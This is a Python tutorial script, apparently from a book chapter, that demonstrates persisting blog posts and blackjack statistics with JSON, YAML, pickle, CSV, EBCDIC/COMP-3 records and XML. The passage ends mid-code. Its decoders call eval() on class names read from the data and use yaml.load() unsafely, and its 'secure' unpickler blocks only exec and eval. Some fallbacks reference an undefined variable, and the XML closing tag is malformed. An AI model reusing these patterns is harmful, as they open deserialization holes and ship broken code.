#!/usr/bin/env python3

# Chapter 9 -- Simple Persistence: JSON, YAML, Pickle, CSV and XML
# -----------------------------------------------------------------

# ..  sectnum::
#
# ..  contents::
#

# Persistence Classes
# ========================================

# A detail class for micro-blog posts
# ::

import datetime
class Post:
    def __init__( self, date, title, rst_text, tags ):
        self.date= date
        self.title= title
        self.rst_text= rst_text
        self.tags= tags
    def as_dict( self ):
        return dict(
            date= str(self.date),
            title= self.title,
            underline= "-"*len(self.title),
            rst_text= self.rst_text,
            tag_text= " ".join(self.tags),
        )

# Here's a collection of these posts. This is an extension
# of list which doesn't work well with JSON.
# ::

from collections import defaultdict
class Blog_x( list ):
    def __init__( self, title, posts=None ):
        self.title= title
        super().__init__( posts if posts is not None else [] )
    def by_tag(self):
        tag_index= defaultdict(list)
        for post in self:
            for tag in post.tags:
                tag_index[tag].append( post )
        return tag_index
    def as_dict( self ):
        return dict(
            title= self.title,
            entries= [p.as_dict() for p in self],
        )

# An example blog
# ::

travel_x = Blog_x( "Travel" )
travel_x.append(
    Post( date=datetime.datetime(2013,11,14,17,25),
        title="Hard Aground",
        rst_text="""Some embarrassing revelation. Including ☹ and ⚓""",
        tags=("#RedRanger", "#Whitby42", "#ICW"),
        )
)
travel_x.append(
    Post( date=datetime.datetime(2013,11,18,15,30),
        title="Anchor Follies",
        rst_text="""Some witty epigram. Including < & > characters.""",
        tags=("#RedRanger", "#Whitby42", "#Mistakes"),
        )
)

# JSON
# ================================

# Example 1: Simple
# ####################

# Simple JSON dump
# ::

import json

if __name__=="__main__":
    print( "Less Elegant" )
    print( json.dumps(travel_x.as_dict(), indent=4) )

# Example 2. JSON: Flawed Design
# ###############################

# Flawed Encoder based on flowed design of the class.
# ::

def blogx_encode( object ):
    if isinstance(object, datetime.datetime):
        return dict(
            __class__= "datetime.datetime",
            __args__= [],
            __kw__= dict(
                year= object.year,
                month= object.month,
                day= object.day,
                hour= object.hour,
                minute= object.minute,
                second= object.second,
            )
        )
    elif isinstance(object, Post):
        return dict(
            __class__= "Post",
            __args__= [],
            __kw__= dict(
                date= object.date,
                title= object.title,
                rst_text= object.rst_text,
                tags= object.tags,
            )
        )
    elif isinstance(object, Blog_x):
        return dict(
            __class__= "Blog_x",
            __args__= [],
            __kw__= dict(
                title= object.title,
                entries= tuple(object),
            )
        )
    else:
        return super().default(o)

def blogx_decode( some_dict ):
    if set(some_dict.keys()) == set( ["__class__", "__args__", "__kw__"] ):
        class_= eval(some_dict['__class__'])
        return class_( *some_dict['__args__'], **some_dict['__kw__'] )
    else:
        return some_dict

# Problem: The Blog entries vanished.
# ::

if __name__=="__main__":

    print( "Damaged" )
    text= json.dumps(travel_x, indent=4, default=blogx_encode)
    print( text )
    copy= json.loads(text, object_hook= blogx_decode)

# Example 3 JSON: Better Design
# ###############################

# Consider this wrapped version instead of an extended version

# Here's another collection of these posts. This
# wraps a list which works much better with JSON than extending a list.
# ::

import datetime
from collections import defaultdict
class Blog:
    def __init__( self, title, posts=None ):
        self.title= title
        self.entries= posts if posts is not None else []
    def append( self, post ):
        self.entries.append(post)
    def by_tag(self):
        tag_index= defaultdict(list)
        for post in self.entries:
            for tag in post.tags:
                tag_index[tag].append( post.as_dict() )
        return tag_index
    def as_dict( self ):
        return dict(
            title= self.title,
            underline= "="*len(self.title),
            entries= [p.as_dict() for p in self.entries],
        )

# An example blog
# ::

travel = Blog( "Travel" )
travel.append(
    Post( date=datetime.datetime(2013,11,14,17,25),
        title="Hard Aground",
        rst_text="""Some embarrassing revelation. Including ☹ and ⚓""",
        tags=("#RedRanger", "#Whitby42", "#ICW"),
        )
)
travel.append(
    Post( date=datetime.datetime(2013,11,18,15,30),
        title="Anchor Follies",
        rst_text="""Some witty epigram. Including < & > characters.""",
        tags=("#RedRanger", "#Whitby42", "#Mistakes"),
        )
)

def blog_encode( object ):
    if isinstance(object, datetime.datetime):
        return dict(
            __class__= "datetime.datetime",
            __args__= [],
            __kw__= dict(
                year= object.year,
                month= object.month,
                day= object.day,
                hour= object.hour,
                minute= object.minute,
                second= object.second,
            )
        )
    elif isinstance(object, Post):
        return dict(
            __class__= "Post",
            __args__= [],
            __kw__= dict(
                date= object.date,
                title= object.title,
                rst_text= object.rst_text,
                tags= object.tags,
            )
        )
    elif isinstance(object, Blog):
        return dict(
            __class__= "Blog",
            __args__= [
                object.title,
                object.entries,
            ],
            __kw__= {}
        )
    else:
        return json.JSONEncoder.default(o)

def blog_decode( some_dict ):
    if set(some_dict.keys()) == set( ["__class__", "__args__", "__kw__"] ):
        class_= eval(some_dict['__class__'])
        return class_( *some_dict['__args__'], **some_dict['__kw__'] )
    else:
        return some_dict

if __name__=="__main__":

    print( "Better" )
    text= json.dumps(travel, indent=4, default=blog_encode)
    print( text )
    copy= json.loads(text, object_hook= blog_decode)

# Sidebar: Demo of rendering 1
# ###############################

# Here's a template for an individual post
# ::

import string

# Here's a way to render the entire blog in RST
# ::

def render( blog ):
    post= string.Template( """
    $title
    $underline

    $rst_text

    :date: $date

    :tags: $tag_text
    """)

    # with redirect_stdout("some_file"):
    print( "{title}\n{underline}\n".format(**blog.as_dict()) )
    for p in blog.entries:
        print( post.substitute( **p.as_dict() ) )

    tag_index= blog.by_tag()
    print( "Tag Index" )
    print( "=========" )
    print()
    for tag in tag_index:
        print( "*   {0}".format(tag) )
        print()
        for post_dict in tag_index[tag]:
            print( "    -   `{title}`_".format(**post_dict) )
        print()

render(travel)

# Sidebar: Demo of rendering 2 (using Jinja2)
# ############################################

try:
    from jinja2 import Template
    blog_template= Template( """
{{title}}
{{underline}}

{% for e in entries %}
{{e.title}}
{{e.underline}}

{{e.rst_text}}

:date: {{e.date}}

:tags: {{e.tag_text}}
{% endfor %}

Tag Index
=========
{% for t in tags %}

*   {{t}}
    {% for post in tags[t] %}

    -   `{{post.title}}`_
    {% endfor %}
{% endfor %}
""")
    print( blog_template.render( tags=travel.by_tag(), **travel.as_dict() ) )
    #import sys
    #sys.exit(0)

except ImportError as e:
    print( e )

# Example 4. JSON: Refactoring Encoding
# ######################################

# Changes to the class definitions
# ::

class Blog_J( Blog ):
    @property
    def _json( self ):
        return dict( __class__= self.__class__.__name__,
            __kw__= {},
            __args__= [ self.title, self.entries ]
        )

class Post_J( Post ):
    @property
    def _json( self ):
        return dict(
            __class__= self.__class__.__name__,
            __kw__= dict(
                date= self.date,
                title= self.title,
                rst_text= self.rst_text,
                tags= self.tags,
            ),
            __args__= []
        )

def blog_j_encode( object ):
    if isinstance(object, datetime.datetime):
        return dict(
            __class__= "datetime.datetime",
            __args__= [],
            __kw__= dict(
                year= object.year,
                month= object.month,
                day= object.day,
                hour= object.hour,
                minute= object.minute,
                second= object.second,
            )
        )
    else:
        try:
            encoding= object._json
        except AttributeError:
            encoding= json.JSONEncoder.default(o)
        return encoding

travel3 = Blog_J( "Travel" )
travel3.append(
    Post_J( date=datetime.datetime(2013,11,14,17,25),
        title="Hard Aground",
        rst_text="""Some embarrassing revelation. Including ☹ and ⚓""",
        tags=("#RedRanger", "#Whitby42", "#ICW"),
        )
)
travel3.append(
    Post_J( date=datetime.datetime(2013,11,18,15,30),
        title="Anchor Follies",
        rst_text="""Some witty epigram.""",
        tags=("#RedRanger", "#Whitby42", "#Mistakes"),
        )
)

if __name__=="__main__":
    print( "Best" )
    text= json.dumps(travel3, indent=4, default=blog_j_encode)
    print( text )

# Example 5: JSON: Better Date Encoding
# ######################################

# Changes to the class definitions
# ::

def blog_j2_encode( object ):
    if isinstance(object, datetime.datetime):
        return dict(
            __class__= "datetime.datetime.strptime",
            __args__= [
                object.strftime("%Y-%m-%dT%H:%M:%S"),
                "%Y-%m-%dT%H:%M:%S",
            ],
            __kw__= {}
        )
    else:
        try:
            encoding= object._json
        except AttributeError:
            encoding= json.JSONEncoder.default(o)
        return encoding

if __name__=="__main__":
    print( "Best" )
    text= json.dumps(travel3, indent=4, default=blog_j2_encode)
    print( text )
    copy= json.loads(text, object_hook= blog_decode)

with open("p2_c09.json", "w", encoding="UTF-8") as target:
    json.dump( travel3, target, separators=(',', ':'), default=blog_j2_encode )

# YAML
# ===================

# Example 1: That's it.
# ######################

# Start with original defintions
# ::

import yaml

if __name__=="__main__":
    text= yaml.dump(travel)
    print( text )
    copy= yaml.load(text)
    print( type(copy), copy.title )
    for p in copy.entries:
        print( p.date.year, p.date.month, p.date.day, p.title, p.tags )

    text2= yaml.dump(travel, allow_unicode=True )
    print( text2 )

with open("p2_c09.yaml", "w", encoding="UTF-8") as target:
    yaml.dump( travel, target )

# Example 2: Cards
# ###################

class Card:
    def __init__( self, rank, suit, hard=None, soft=None ):
        self.rank= rank
        self.suit= suit
        self.hard= hard or int(rank)
        self.soft= soft or int(rank)
    def __str__( self ):
        return "{0.rank!s}{0.suit!s}".format(self)

class AceCard( Card ):
    def __init__( self, rank, suit ):
        super().__init__( rank, suit, 1, 11 )

class FaceCard( Card ):
    def __init__( self, rank, suit ):
        super().__init__( rank, suit, 10, 10 )

deck = [ AceCard('A','♣'), Card('2','♥'), FaceCard('K','♦') ]

if __name__=="__main__":
    text= yaml.dump( deck, allow_unicode=True )
    print( text )

def card_representer(dumper, card):
    return dumper.represent_scalar('!Card',
    "{0.rank!s}{0.suit!s}".format(card) )
def acecard_representer(dumper, card):
    return dumper.represent_scalar('!AceCard',
    "{0.rank!s}{0.suit!s}".format(card) )
def facecard_representer(dumper, card):
    return dumper.represent_scalar('!FaceCard',
    "{0.rank!s}{0.suit!s}".format(card) )

yaml.add_representer(Card, card_representer)
yaml.add_representer(AceCard, acecard_representer)
yaml.add_representer(FaceCard, facecard_representer)

def card_constructor(loader, node):
    value = loader.construct_scalar(node)
    rank, suit= value[:-1], value[-1]
    return Card( rank, suit )

def acecard_constructor(loader, node):
    value = loader.construct_scalar(node)
    rank, suit= value[:-1], value[-1]
    return AceCard( rank, suit )

def facecard_constructor(loader, node):
    value = loader.construct_scalar(node)
    rank, suit= value[:-1], value[-1]
    return FaceCard( rank, suit )

yaml.add_constructor('!Card', card_constructor)
yaml.add_constructor('!AceCard', acecard_constructor)
yaml.add_constructor('!FaceCard', facecard_constructor)

if __name__=="__main__":
    text= yaml.dump( deck, allow_unicode=True )
    print( text )
    copy= yaml.load( text )
    print( *map(str,copy) )

# Example 3: Safe Cards
# #######################

class Card2( yaml.YAMLObject ):
    yaml_tag = '!Card2'
    yaml_loader= yaml.SafeLoader
    def __init__( self, rank, suit, hard=None, soft=None ):
        self.rank= rank
        self.suit= suit
        self.hard= hard or int(rank)
        self.soft= soft or int(rank)
    def __str__( self ):
        return "{0.rank!s}{0.suit!s}".format(self)

class AceCard2( Card2 ):
    yaml_tag = '!AceCard2'
    def __init__( self, rank, suit ):
        super().__init__( rank, suit, 1, 11 )

class FaceCard2( Card2 ):
    yaml_tag = '!FaceCard2'
    def __init__( self, rank, suit ):
        super().__init__( rank, suit, 10, 10 )

deck2 = [ AceCard2('A','♣'), Card2('2','♥'), FaceCard2('K','♦') ]

if __name__=="__main__":
    text2= yaml.dump( deck2 )
    print( "TEXT2" )
    print( text2 )
    yaml.safe_load(text2)

# Pickle
# ===================

# Example 1: Working
# ####################

# Use pickle to persist our microblog
# ::

import pickle
with open("p2_c09_travel_blog.p","wb") as target:
    pickle.dump( travel, target )

with open("p2_c09_travel_blog.p","rb") as source:
    copy= pickle.load( source )

if __name__=="__main__":
    print( copy )

# Example 2: Won't Init
# ########################

import logging,sys

audit_log= logging.getLogger( "audit" )
if __name__=="__main__":
    logging.basicConfig(stream=sys.stderr, level=logging.INFO)
else:
    logging.basicConfig(stream=sys.stderr, level=logging.ERROR)

class Hand_x:
    def __init__( self, dealer_card, *cards ):
        self.dealer_card= dealer_card
        self.cards= list(cards)
        for c in self.cards:
            audit_log.info( "Initial %s", c )
    def append( self, card ):
        self.cards.append( card )
        audit_log.info( "Hit %s", card )
    def __str__( self ):
        cards= ", ".join( map(str,self.cards) )
        return "{self.dealer_card} | {cards}".format( self=self, cards=cards )

if __name__=="__main__":
    h = Hand_x( FaceCard('K','♦'), AceCard('A','♣'), Card('9','♥') )
    print( h )

    b = pickle.dumps( h )
    h2 = pickle.loads( b )
    print( h2 )

class Hand2:
    def __init__( self, dealer_card, *cards ):
        self.dealer_card= dealer_card
        self.cards= list(cards)
        for c in self.cards:
            audit_log.info( "Initial %s", c )
    def append( self, card ):
        self.cards.append( card )
        audit_log.info( "Hit %s", card )
    def __str__( self ):
        cards= ", ".join( map(str,self.cards) )
        return "{self.dealer_card} | {cards}".format( self=self, cards=cards )
    def __getstate__( self ):
        return self.__dict__
    def __setstate__( self, state ):
        self.__dict__.update(state)
        for c in self.cards:
            audit_log.info( "Initial (unpickle) %s", c )

hp = Hand2( FaceCard('K','♦'), AceCard('A','♣'), Card('9','♥') )

data = pickle.dumps( hp )
h2p = pickle.loads( data )

# Example 3: Secure Pickle
# ########################

import builtins
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "builtins":
            if name not in ("exec", "eval"):
                 return getattr(builtins, name)
        elif module == "__main__":
            return globals()[name]
        # elif module in any of our application modules...
        raise pickle.UnpicklingError(
        "global '{module}.{name}' is forbidden".format(module=module, name=name))

if __name__=="__main__":
    import io
    try:
        h2s = RestrictedUnpickler(io.BytesIO(data)).load()
    except pickle.UnpicklingError as e:
        print( e )

# CSV
# ===================

# Example 1: GameStats
# ######################

# Our Simulation class definitions
# ::

class Player_Strategy_1:
    pass

class Betting:
    def __init__( self, stake=100 ):
        self.stake= stake
    def bet(self, table, game_state):
        table.bet(game_state, 1)
    def win(self, amount):
        self.stake += amount
    def loss(self, amount):
        self.stake -= amount

class Flat_Bet( Betting ):
    pass

class Martingale_Bet( Betting ):
    def __init__( self, *args ):
        self.stage = 1
        super().__init__( *args )
    def bet(self, table, game_state):
        try:
            table.bet(game_state, min(self.stage, self.stake))
        except BadBet as e:
            limit= e.args[0]
            table.bet(game_state, min(limit, self.stake))
    def win(self, amount):
        self.stage= 1
        super().win(amount)
    def loss(self, amount):
        if self.stage <= 500:
            self.stage *= 2
        super().loss(amount)

import random

class BadBet( Exception ):
    pass

class Broke( Exception ):
    pass

# A Fake simulator
# ::

class Blackjack:
    def __init__( self, play, betting ):
        self.player= play
        self.betting= betting
        self.bets= dict()
        self.rounds= 0
    @property
    def stake( self ):
        return self.betting.stake
    def bet( self, game_state, amount ):
        if amount > 50:
            raise BadBet( 50 )
        self.bets[game_state]= amount
    def play_1( self ):
        if self.betting.stake == 0:
            raise Broke
        self.betting.bet( self, 'initial' )
        bet= sum( self.bets.values() )
        if random.random() <= .45:
            if random.random() <= 1/13*4/13:
                self.betting.win(2*bet)
            else:
                self.betting.win(bet)
        else:
            self.betting.loss(bet)
    def until_broke_or_rounds( self, limit ):
        while self.rounds < limit and self.betting.stake > 0:
            self.play_1()
            self.rounds += 1

# Example 1 dumping
# ####################

# An application of the above definitions.
# ::

from collections import namedtuple
GameStat = namedtuple( "GameStat", "player,bet,rounds,final" )

def gamestat_iter( player, betting, limit=100 ):
    for sample in range(30):
        b = Blackjack( player(), betting() )
        b.until_broke_or_rounds(limit)
        yield GameStat( player.__name__, betting.__name__, b.rounds, b.betting.stake )

import csv

with open("p2_c09_blackjack.csv","w",newline="") as target:
    writer= csv.DictWriter( target, GameStat._fields )
    writer.writeheader()
    for gamestat in gamestat_iter( Player_Strategy_1, Martingale_Bet ):
        writer.writerow( gamestat._asdict() )

data = gamestat_iter( Player_Strategy_1, Martingale_Bet )
with open("p2_c09_blackjack.csv","w",newline="") as target:
    writer= csv.DictWriter( target, GameStat._fields )
    writer.writeheader()
    writer.writerows( g._asdict() for g in data )

# Example 2 loading
# ###################

# Loading data from a simulator
# ::

with open("p2_c09_blackjack.csv","r",newline="") as source:
    reader= csv.DictReader( source )
    assert set(reader.fieldnames) == set(GameStat._fields)
    for gs in ( GameStat(**r) for r in reader ):
        pass # print( gs )

def gamestat_rdr_iter(iterator):
    for row in iterator:
        yield GameStat( row['player'], row['bet'], int(row['rounds']), int(row['final']) )

if __name__=="__main__":
    with open("p2_c09_blackjack.csv","r",newline="") as source:
        reader= csv.DictReader( source )
        assert set(reader.fieldnames) == set(GameStat._fields)
        for gs in gamestat_rdr_iter(reader):
            print( gs )

# Example 3 blog and post one file
# ################################

# Our blog data to be saved positionally.
# ::

blogs = [ travel ]

with open("p2_c09_blog3.csv","w",newline="") as target:
    wtr= csv.writer( target )
    wtr.writerow(['__class__','title','date','title','rst_text','tags'])
    for b in blogs:
        wtr.writerow(['Blog',b.title,None,None,None,None])
        for p in b.entries:
            wtr.writerow(['Post',None,p.date,p.title,p.rst_text,p.tags])

# Super-important: column order must match __init__() param order.
# ::

with open("p2_c09_blog3.csv","r",newline="") as source:
    rdr= csv.reader( source )
    header= next(rdr)
    assert header == ['__class__','title','date','title','rst_text','tags']
    blogs = []
    for r in rdr:
        if r[0] == 'Blog':
            blog= Blog( *r[1:2] )
            blogs.append( blog )
        if r[0] == 'Post':
            post= Post( *r[2:] )
            blogs[-1].append( post )

# Tags, however, will not be a proper tuple
# The above doesn't handle Post tags properly!

# Must use the following
# ::

import ast
def post_builder( row ):
    return Post(
        date=datetime.datetime.strptime(row[2],"%Y-%m-%d %H:%M:%S"),
        title=row[3],
        rst_text=row[4],
        tags=ast.literal_eval(row[5]) )

with open("p2_c09_blog3.csv","r",newline="") as source:
    rdr= csv.reader( source )
    header= next(rdr)
    assert header == ['__class__','title','date','title','rst_text','tags']
    blogs = []
    for r in rdr:
        if r[0] == 'Blog':
            blog= Blog( *r[1:2] )
            blogs.append( blog )
        if r[0] == 'Post':
            post= post_builder( r )
            blogs[-1].append( post )

# Example 4 blog and post with better metadata and filter
# ########################################################

# Loading the blog with a generator function.
# ::

def blog_iter(source):
    rdr= csv.reader( source )
    header= next(rdr)
    assert header == ['__class__','title','date','title','rst_text','tags']
    blog= None
    for r in rdr:
        if r[0] == 'Blog':
            if blog:
                yield blog
            blog= Blog( *r[1:2] )
        if r[0] == 'Post':
            post= post_builder( r )
            blog.append( post )
    if blog:
        yield blog

if __name__=="__main__":
    with open("p2_c09_blog3.csv","r",newline="") as source:
        for b in blog_iter(source):
            print(b.title,[p.title for p in b.entries])

with open("p2_c09_blog3.csv","r",newline="") as source:
    blogs= list(blog_iter(source))

# Example 5 Blog and Post join
# ################################

# Using a "join" between Blog and Post to create a file.
# ::

with open("p2_c09_blog5.csv","w",newline="") as target:
    wtr= csv.writer( target )
    wtr.writerow(['Blog.title','Post.date','Post.title', 'Post.tags','Post.rst_text'])
    for b in blogs:
        for p in b.entries:
            wtr.writerow([b.title,p.date,p.title,p.tags,p.rst_text])

# Decoding column names when reconstructing the file.
# Seductive but wrong.
# ::

def make_obj( row, class_=Post ):
    prefix= class_.__name__
    column_split = ( (k,)+tuple(k.split('.')) for k in row )
    kw_args = dict( (attr,row[key])
        for key,classname,attr in column_split if classname==prefix )
    return class_( **kw_args )

import ast
def post_builder5( row ):
    return Post(
        date=datetime.datetime.strptime(
            row['Post.date'],"%Y-%m-%d %H:%M:%S"),
        title=row['Post.title'],
        rst_text=row['Post.rst_text'],
        tags=ast.literal_eval(row['Post.tags']) )

# An iterator which fetches blogs
# ::

def blog_iter2( source ):

    rdr= csv.DictReader( source )
    assert set(rdr.fieldnames) == set(['Blog.title','Post.date','Post.title', 'Post.tags','Post.rst_text'])
    row= next(rdr)
    blog= Blog(row['Blog.title'])
    post= post_builder5( row )
    blog.append( post )

    print( "Wrong:", make_obj(row,Post).as_dict() )

    for row in rdr:
        if row['Blog.title'] != blog.title:
            yield blog
            blog= Blog( row['Blog.title'] )
        post= post_builder5( row )
        blog.append( post )
    yield blog

if __name__=="__main__":
    with open("p2_c09_blog5.csv","r",newline="") as source:
        for b in blog_iter2( source ):
            print(b.title, b.as_dict())

# Legacy Files
# ===================

# We'll look at pure text and mixed text w/ packed decimal.

# Example 1 dumping all text
# ###########################

# Metadata for Gamestat objects.
# attribute name, start, size, and an output format specification.
# ::

import types

metadata_txt= types.SimpleNamespace(
    fields = [
        ('player', 0, 20, '{:<{size}s}'),
        ('bet', 20, 20, '{:<{size}s}'),
        ('rounds', 40, 5, '{:>{size}d}'),
        ('final', 45, 8, '{:>{size}d}'),
    ],
    reclen= 53,
)

# A function to transform a namedtuple into a fixed-layout record.
# ::

def gamestat_record( gamestat, metadata ):
    record= [
        format_spec.format( getattr(gamestat,name),
                size=size, )
            for name, start, size, format_spec in metadata.fields ]
    text= "".join(record)
    assert len(text) == metadata.reclen, "Got {0} != Should Be {1}".format(len(text), metadata.reclen)
    return text

# An application of the game statistics definitions.
# ::

with open("p2_c09_blackjack.file","w",encoding='cp037',newline="") as target:
    for gamestat in gamestat_iter( Player_Strategy_1, Martingale_Bet ):
        record= gamestat_record(gamestat, metadata_txt)
        target.write( record )

# Example 2 loading all text
# ##########################

# Loading data from the simulator. Part 1 -- Physical decomposition into rows.
# ::

def line_iter( aFile, metadata ):
    recBytes= aFile.read(metadata.reclen)
    while recBytes:
        yield recBytes
        recBytes= aFile.read(metadata.reclen)

# Part 2 -- decomposition into named fields.
# ::

def record_iter( aFile, metadata ):
    for line in line_iter( aFile, metadata):
        record = dict(
            (name, line[start:start+size].strip())
            for name, start, size, format_spec in metadata.fields )
        yield record

# Part 3 -- using the field to dictionary parser.
# ::

with open("p2_c09_blackjack.file","r",encoding='cp037',newline="") as source:
    for record in record_iter(source, metadata_txt):
        print(record)

# Example 3 -- USAGE DISPLAY and USAGE COMP3
# ###########################################

# Using COMP-3 expands the problem into three kinds of data
#
# - Alpha and Alphanumeric encoded in EBCDIC or ASCII
#
# - Numeric, USAGE DISPLAY, as a string of digits encoded in EBCDIC or ASCII
#
# - Numeric, USAGE COMP-3, as string of bytes encoded as packed decimal.
#
# All of which require the decimal module's Decimal class definition.

from decimal import Decimal

# As a convenience, we map 'ebcdic' to 'cp037' by adding a new lookup function.
#
# ::

import codecs
def ebcdic_lookup( name, fallback=codecs.lookup ):
    if name == 'ebcdic':
        return codecs.lookup( 'cp037' )
    return fallback( name )

codecs.register( ebcdic_lookup )

# Alphanumeric USAGE DISPLAY conversion.
# The COBOL program stored text.
# ::

def alpha_decode( data, metadata, field_metadata ):
    """Decode alpha or alphanumeric data.
    metadata has encoding.
    field_metadata is not used.

    >>> import types
    >>> meta= types.SimpleNamespace( encoding='ebcdic' )
    >>> meta.decode= codecs.getdecoder( meta.encoding )
    >>> field_meta = types.SimpleNamespace() # Not used
    >>> data = bytes( [0xf9, 0xf8, 0xf7, 0xf6, 0xf5, 0x60] )
    >>> alpha_decode( data, meta, field_meta )
    '98765-'

    """
    text, _= metadata.decode( data )
    return text

# Numeric USAGE DISPLAY trailing sign conversion.
# The COBOL program stored text version of the number.
# ::

def display_decode( data, metadata, field_metadata ):
    """Decode USAGE DISPLAY numeric data.
    metadata has encoding.
    field_metadata has attributes name, start, size, format, precision, usage.

    >>> import types
    >>> meta= types.SimpleNamespace( encoding='ebcdic' )
    >>> meta.decode= codecs.getdecoder( meta.encoding )
    >>> field_meta = types.SimpleNamespace( precision=2 )
    >>> data = bytes( [0xf9, 0xf8, 0xf7, 0xf6, 0xf5, 0x60] )
    >>> display_decode( data, meta, field_meta )
    Decimal('-987.65')

    """
    text, _= metadata.decode( data )
    precision= field_metadata.precision
    text, sign = text[:-1], text[-1]
    return Decimal(sign + text[:-precision] + '.' + text[-precision:])

# Numeric USAGE COMP-3 conversion.
# The COBOL program encoded the number into packed decimal representation.
# ::

def comp3_decode( data, metadata, field_metadata ):
    """Decode USAGE COMP-3 data.
    metadata has encoding, which is not used.
    field_metadata has attributes name, start, size, format, precision, usage.

    Note that the size is the overall resulting string of bytes.
    NOT the number of digits involved.

    >>> import types
    >>> meta= types.SimpleNamespace() # Not used
    >>> field_meta = types.SimpleNamespace( precision=2 )
    >>> data = bytes( (0x98, 0x76, 0x5d) )
    >>> comp3_decode( data, meta, field_meta )
    Decimal('-987.65')

    """
    precision= field_metadata.precision
    text= [ ]
    for b in data[:-1]:
        hi, lo = divmod( b, 16 )
        text.append( str(hi) )
        text.append( str(lo) )
    digit, sign_byte = divmod( data[-1], 16 )
    text.append( str(digit) )
    text= "".join(text)
    sign= '-' if sign_byte in (0x0b, 0x0d) else '+'
    return Decimal(sign + text[:-precision] + '.' + text[-precision:])

# Encoder for simple alpha or alphanumeric.
# ::

def alpha_encode( data, metadata, field_metadata ):
    """Encode alpha or alphanumeric data.
    metadata has encoding.
    field_metadata is not used.

    >>> import types
    >>> meta= types.SimpleNamespace( encoding='ebcdic' )
    >>> meta.encode= codecs.getencoder( meta.encoding )
    >>> field_meta = types.SimpleNamespace( size=6 )
    >>> data = '98765-'
    >>> expected= bytes( [0xf9, 0xf8, 0xf7, 0xf6, 0xf5, 0x60] )
    >>> actual= alpha_encode( data, meta, field_meta )
    >>> repr(actual)
    "b'\\\\xf9\\\\xf8\\\\xf7\\\\xf6\\\\xf5`'"
    >>> actual == expected
    True

    """
    bytes, _= metadata.encode(
        "{:<{size}s}".format(data, size=field_metadata.size) )
    return bytes

# Encoder for numeric USAGE DISPLAY, trailing sign.
# ::

def display_encode( data, metadata, field_metadata ):
    """Encode numeric USAGE DISPLAY trailing sign.
    metadata has encoding.
    field_metadata has attributes name, start, size, format, precision, usage.

    >>> import types, decimal
    >>> meta= types.SimpleNamespace( encoding='ebcdic' )
    >>> meta.encode= codecs.getencoder( meta.encoding )
    >>> field_meta = types.SimpleNamespace( size=6, precision=2 )
    >>> expected= bytes( [0xf9, 0xf8, 0xf7, 0xf6, 0xf5, 0x60] )
    >>> actual= display_encode( Decimal('-987.65'), meta, field_meta )
    >>> repr(actual)
    "b'\\\\xf9\\\\xf8\\\\xf7\\\\xf6\\\\xf5`'"
    >>> actual == expected
    True

    """
    text= "{0:0>{size}d}{1}".format(
        abs(int(data*Decimal(10)**field_metadata.precision)),
        '-' if data < 0 else '+',
        size=field_metadata.size-1 )
    bytes, _= metadata.encode( text )
    return bytes

# Encoder for numeric USAGE COMP-3.
# ::

def comp3_encode( data, metadata, field_metadata ):
    """Encode numeric USAGE COMP-3.
    metadata has encoding which is not used.
    field_metadata has attributes name, start, size, format, precision, usage.

    Note that the size is the overall resulting string of bytes.
    NOT the number of digits involved.
    This has 2 digits per byte + a digit and a sign.

    >>> import types
    >>> meta= types.SimpleNamespace( encoding='ebcdic' )
    >>> field_meta = types.SimpleNamespace( size=3, precision=2 )
    >>> expected= bytes( (0x98, 0x76, 0x5d) )
    >>> actual= comp3_encode( Decimal('-987.65'), meta, field_meta )
    >>> repr(actual)
    "b'\\\\x98v]'"
    >>> actual == expected
    True

    """
    value= abs(int(data*Decimal(10)**field_metadata.precision))
    digits = [ 0x0d if data < 0 else 0x00 ] # Trailing sign.
    nDigits= field_metadata.size*2-1
    for i in range(nDigits):
        digits = [value%10]+digits
        value //= 10
    b = bytes( (hi*16+lo for hi, lo in list(zip(digits[::2],digits[1::2]))) )
    return b

# Our expanded metadata to include more refined field-level definitions.
# First, we'll define some encode-decode pairs.
# ::

alphanumeric = ( alpha_encode, alpha_decode )
usage_display = ( display_encode, display_decode )
usage_comp3 = ( comp3_encode, comp3_decode )

# Then we'll define a more sophisticated metadata that includes the
# precision and a reference to the relevant encode-decode pair.
#
# The overall metadata encoding name is transformed into an
# encode and decode function to save lookups on a field-by-field basis.
# ::

import collections
Field= collections.namedtuple( "Field",
    "name, start, size, precision, usage" )
NS= types.SimpleNamespace
metadata_comp3= NS(
    fields = [
        Field('player', 0, 20, None, alphanumeric),
        Field('bet', 20, 20, None, alphanumeric),
        Field('rounds', 40, 8, 2, usage_display),
        Field('final', 48, 8, 2, usage_comp3),
    ],
    reclen= 56,
    encoding= 'ebcdic', # for display fields and alphanumeric fields.
)
metadata_comp3.decode= codecs.getdecoder( metadata_comp3.encoding )
metadata_comp3.encode= codecs.getencoder( metadata_comp3.encoding )

# A function to transform a namedtuple into a fixed-layout record.
# ::

def gamestat_record_comp3( gamestat, metadata ):
    record= [
        field.usage[0](getattr(gamestat,field.name),metadata,field)
        for field in metadata.fields ]
    text= b"".join(record)
    assert len(text) == metadata.reclen, "Got {0} != Should Be {1}".format(len(text), metadata.reclen)
    return text

# Example encoding app.
# ::

with open("p2_c09_blackjack_comp3.file","wb") as target:
    for gamestat in gamestat_iter( Player_Strategy_1, Martingale_Bet ):
        record= gamestat_record_comp3(gamestat, metadata_comp3)
        target.write( record )

# Example decoding iterator using more sophisticated metadata.
# ::

def record2_iter( aFile, metadata ):
    for line in line_iter( aFile, metadata):
        field_data = ( (field, line[field.start:field.start+field.size])
            for field in metadata.fields )
        record = dict(
            (field.name, field.usage[1](data, metadata, field))
            for field, data in field_data )
        yield record

with open("p2_c09_blackjack_comp3.file","rb") as source:
    for record in record2_iter( source, metadata_comp3 ):
        print( record )

# XML
# ===================

# Example 1: XML output
# ######################

class Blog_X( Blog ):
    def xml( self ):
        children= "\n".join( c.xml() for c in self.entries )
        return """\
<blog><title>{0.title}</title>
<entries>
{1}
<entries></blog>""".format(self,children)

class Post_X( Post ):
    def xml( self ):
        tags= "".join( "<tag>{0}</tag>".format(t) for t in self.tags )
        return """\
<entry>
    <title>{0.title}</title>
    <date>{0.date}</date>
    <tags>{1}</tags>
    <text>{0.rst_text}</text>
</entry>""".format(self,tags)

travel4 = Blog_X( "Travel" )
travel4.append(
    Post_X( date=datetime.datetime(2013,11,14,17,25),
        title="Hard Aground",
        rst_text="""Some embarrassing revelation. Including ☹ and ⚓""",
        tags=("#RedRanger", "#Whitby42", "#ICW"),
        )
)
travel4.append(
    Post_X( date=datetime.datetime(2013,11,18,15,30),
        title="Anchor Follies",
        rst_text="""Some witty epigram.""",
        tags=("#RedRanger", "#Whitby42", "#Mistakes"),
